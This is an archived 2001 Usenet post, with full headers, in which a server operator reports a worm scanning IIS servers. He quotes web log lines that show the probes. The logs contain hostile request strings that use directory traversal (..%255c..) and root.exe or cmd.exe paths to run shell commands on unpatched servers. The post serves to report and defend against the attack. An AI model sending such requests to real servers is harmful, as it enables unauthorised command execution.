Article View: ott.online
Article #27Re: Yet another NT/ISS worm
From: Darrell A. Larose
Date: Tue, 18 Sep 2001 16:49
Date: Tue, 18 Sep 2001 16:49
14 lines
1968 bytes
1968 bytes
So far only reported on slashdot.org, but I have also been getting hundreds of these since 09:40:29 today. The pattern is each IP will try 16 attempts to access the root command (cmd.exe) then the pattern is repeated with a different IP 64.26.141.35 - - [18/Sep/2001:09:40:29 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 64.26.141.35 - - [18/Sep/2001:09:40:29 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir chop hundreds of lines deleted
Technical Details
Message-ID:
<9o7tvl$85l$1@freenet9.carleton.ca>Path:
arc1-ca.pugleaf.net!archiver1.google.com!newsfeed.google.com!sn-xit-02!supernews.com!newsfeed.direct.ca!look.ca!torn!cunews!freenet-news!FreeNet.Carleton.CA!ad607References:
<9o7suk$6oq$1@freenet9.carleton.ca>Show Full Headers
Complete Article Headers
X-Google-Language: ENGLISH,ASCII-7-bit X-Google-Thread: 10aaae,54c97ef13a35b920,start X-Google-Attributes: gid10aaae,public X-Google-Thread: 105a5a,54c97ef13a35b920,start X-Google-Attributes: gid105a5a,public X-Google-ArrivalTime: 2001-09-18 09:50:13 PST Path: arc1-ca.pugleaf.net!archiver1.google.com!newsfeed.google.com!sn-xit-02!supernews.com!newsfeed.direct.ca!look.ca!torn!cunews!freenet-news!FreeNet.Carleton.CA!ad607 From: ad607@FreeNet.Carleton.CA (Darrell A. Larose) Newsgroups: ott.online,can.infohighway Subject: Re: Yet another NT/ISS worm Date: 18 Sep 2001 16:49:57 GMT Organization: The National Capital FreeNet Lines: 14 Message-ID: <9o7tvl$85l$1@freenet9.carleton.ca> References: <9o7suk$6oq$1@freenet9.carleton.ca> Reply-To: ad607@FreeNet.Carleton.CA (Darrell A. Larose) NNTP-Posting-Host: freenet10 X-Trace: freenet9.carleton.ca 1000831797 8373 134.117.136.30 (18 Sep 2001 16:49:57 GMT) X-Complaints-To: complaints@ncf.ca NNTP-Posting-Date: 18 Sep 2001 16:49:57 GMT X-Given-Sender: ad607@freenet10.carleton.ca (Darrell A. Larose)